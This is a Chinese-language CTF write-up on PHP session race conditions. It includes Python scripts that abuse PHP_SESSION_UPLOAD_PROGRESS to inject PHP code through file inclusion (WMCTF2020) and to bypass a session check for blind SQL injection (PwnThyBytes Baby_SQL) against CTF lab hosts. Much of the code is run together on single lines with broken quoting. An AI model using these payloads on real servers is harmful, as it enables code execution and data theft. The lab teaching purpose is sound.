PHP Session条件竞争超详细讲解

PHP SESSION 的存储

Session会话存储方式

PHP将session以文件的形式存储服务器的文件中，session.save_path来控制

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默认是/var/lib/php/sessions目录下，文件名是sess_加上sessionID字段

但是在赛题中大多数都是/tmp目录下，需要php.ini力sesion.auto_start设置为1，然后修改目录

session.auto_start：如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是默认关闭的。

session.upload_progress.cleanup = on：表示当文件上传结束后，php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode：默认情况下，该选项的值是0，此时用户可以自己定义Session ID。

使用 Python 实现创建 Session 文件的过程：

import ioimport requestsimport threadingsessid = "whoami"def POST(session):    f = io.BytesIO(b"a" * 1024 * 50)    session.post("http://192.168.43.82/index.php",data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用来改变session中的值files={"file":("q.txt", f)},cookies={"PHPSESSID":sessid} //用来sesssion中的文件名  sess_whoami    )with requests.session() as session:    while True:POST(session)print("[+] 成功写入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once "flag.php";if(isset($_GET["file"])) {  require_once $_GET["file"];}

这道题是文件包含，已经包含过了一次flag.php，就不能二次包含了，一种方法是软连接/proc/self/root绕过

/proc/self指向当前进程的/proc/pid/

/proc/self/root/是指向/的符号链接

这道题也可以 用条件竞争进行，

import ioimport sysimport requestsimport threadinghost = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"sessid = "feng"def POST(session): while True:  f = io.BytesIO(b"a" * 1024 * 50)  session.post(  host,  data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"},  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值  files={  "file":("a.txt", f)},  cookies={   "PHPSESSID":sessid}//改名    )def READ(session): while True:   response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路径# print(response.text)   if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5      print("[+++]retry")   else:      print(response.text)      sys.exit(0)with requests.session() as session:  t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程  t1.daemon = True  //相当完成任务直接结束，不用等线程全部结束  t1.start()  READ(session)

线程结束后，想在网页获得php坏境页面可是找不到，

希望有师傅解答一下，然后这样就非常局限，

[PwnThyBytes 2019]Baby_SQL

访问源码，获得source.zip

打开后发现index.php

<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){    !is_string($value) AND die("Hacking attempt!");    return addslashes($value);}isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");?>

都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include "db.php";$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";$result = $con->query($sql);function auth($user){    $_SESSION["username"] = $user;    return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));?>

发现就login.php里面没有过滤，然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思为如果不存在session就die输出，前面的为true才执行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);

所以如果我们要直接访问login.php进行sql注入的话，还需要带上一个session才行，这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session，然后便可以绕过index.php中的检测，直接访问login.php进行sql注入了。

import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"//这个templates是因为login.php在这个目录下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"},  proxies={"http": "http://127.0.0.1:8080"})通过这个接口，burp就可以抓包到print(a.text)

然后对username进行注入，发现是用"进行闭合,然后回显，可以用盲注实现

<meta http-equiv="refresh" content="0; url=?p=home" />

import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=""for i in range(1,100):    low = 32    high = 128    mid = (low+high)//2    while (low < high):time.sleep(0.06)#payload_flag ={"username": "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}payload_flag = {    "username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}) print(payload_flag)if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text:    low = mid +1else:    high = midmid = (low + high) // 2    if(mid==32 ):break    flag +=chr(mid)    print(flag)print(flag)

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